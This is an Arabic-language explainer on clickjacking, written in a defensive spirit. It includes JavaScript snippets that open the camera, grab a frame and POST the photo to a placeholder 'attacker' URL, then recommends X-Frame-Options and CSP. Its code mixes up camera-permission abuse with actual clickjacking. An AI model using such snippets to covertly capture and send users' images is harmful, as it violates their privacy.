
هجمات الاختراق بالنقر (Clickjacking)
هجمات “Clickjacking” هي نوع من الهجمات اللي تخدعك وتخليك تضغط على زر أو رابط تحسبه عادي، لكن بالحقيقة فيه إجراء ثاني يتم بالخلفية بدون ما تحس.
ممكن تفتح الكاميرا أو الميكروفون أو حتى ترسل بياناتك بدون ما تدري! في هالمقالة بشرح لك كيف تصير هالهجمات وكيف تقدر تحمي نفسك منها.
كيف تكتشف هجوم Clickjacking؟
الهجوم هذا يعتمد على إن المهاجم يعرض لك صورة أو زر عادي، لكن تحته فيه شيء ثاني غير ظاهر لك ينفذ أوامر خفية.
مثلاً: تضغط على زر “تشغيل الفيديو” لكن بالحقيقة الكود يشغل الكاميرا وياخذ صورة لك بدون إذنك.
كيف يشتغل هجوم Clickjacking؟
خلنا نشرح الموضوع خطوة بخطوة باستخدام كود برمجي:
1. طلب الوصول إلى الكاميرا
const stream = await navigator.mediaDevices.getUserMedia({
video: true,
audio: false,
});
هنا الكود يطلب إذن الوصول للكاميرا. لو ضغطت “سماح” بدون ما تتأكد، المهاجم يقدر يستخدم الكاميرا بدون علمك.
2. عرض الفيديو والتقاط الصورة
videoElement.srcObject = stream;
canvasContext.drawImage(videoElement, 0, 0, canvasElement.width, canvasElement.height);
بعد ما يحصل المهاجم على إذن الكاميرا، يتم تشغيل الفيديو وأخذ لقطة شاشة باستخدام canvas
وتحويلها إلى صورة قابلة للإرسال.
3. إرسال البيانات للمخترق
const formData = new FormData();
formData.append('image', blob, 'photo.png');
await fetch('https://example.com/save-photo', {
method: 'POST',
body: formData
});
هنا يتم إرسال الصورة لخادم المهاجم، بالإضافة إلى بيانات ثانية مثل عنوان IP والموقع الجغرافي.
4. استخدام زر مزيف للخداع
linkElement.addEventListener('click', function() {
window.open('https://fake-link.com', '_blank');
});
الزر الظاهر لك ممكن يكون عادي، لكن بمجرد الضغط عليه، يتم تنفيذ أوامر خفية تضرّك.
وممكن أول ماتدخل مايطالبك بأي زر تضغطه فقط يطالبك بإعطاء صلاحية للوصول للكاميرا
كيف تحمي نفسك من هجمات Clickjacking؟
للمطورين:
1- استخدم X-Frame-Options
في موقعك: يمنع تحميل موقعك داخل iframe
عشان ما يتم خداع الزوار.
X-Frame-Options: DENY
أو استخدم SAMEORIGIN لو تبغى تسمح بتحميل الموقع داخل iframe
بس من نفس الدومين.
2- استخدم Content Security Policy (CSP): تقدر تحدد المواقع اللي مسموح لها تحميل سكربتات في موقعك وتمنع المحتوى الخبيث.
لأي مستخدم:
1- لاتعطي أذونات لمواقع مشبوهة: لا تضغط “سماح” لأي موقع يطلب الكاميرا أو الميكروفون إلا إذا كنت واثق منه.
2- لا تضغط على أي زر أو رابط مشبوه: قبل ما تضغط على أي شيء، تأكد من الرابط ولا تثق بالمواقع العشوائية.
الخلاصة
هجمات Clickjacking خطيرة لأنها تخدع المستخدم بطريقة ذكية.
عشان تحمي نفسك، لازم تكون حذر من الأذونات اللي تعطيها للمواقع، وتطبق إجراءات الأمان مثل X-Frame-Options و CSP. إذا كنت مطور، تأكد إن موقعك محمي ضد هالنوع من الهجمات.
المراجع
منع هجمات Clickjacking باستخدام X-Frame-Options أو Content Security Policy (CSP)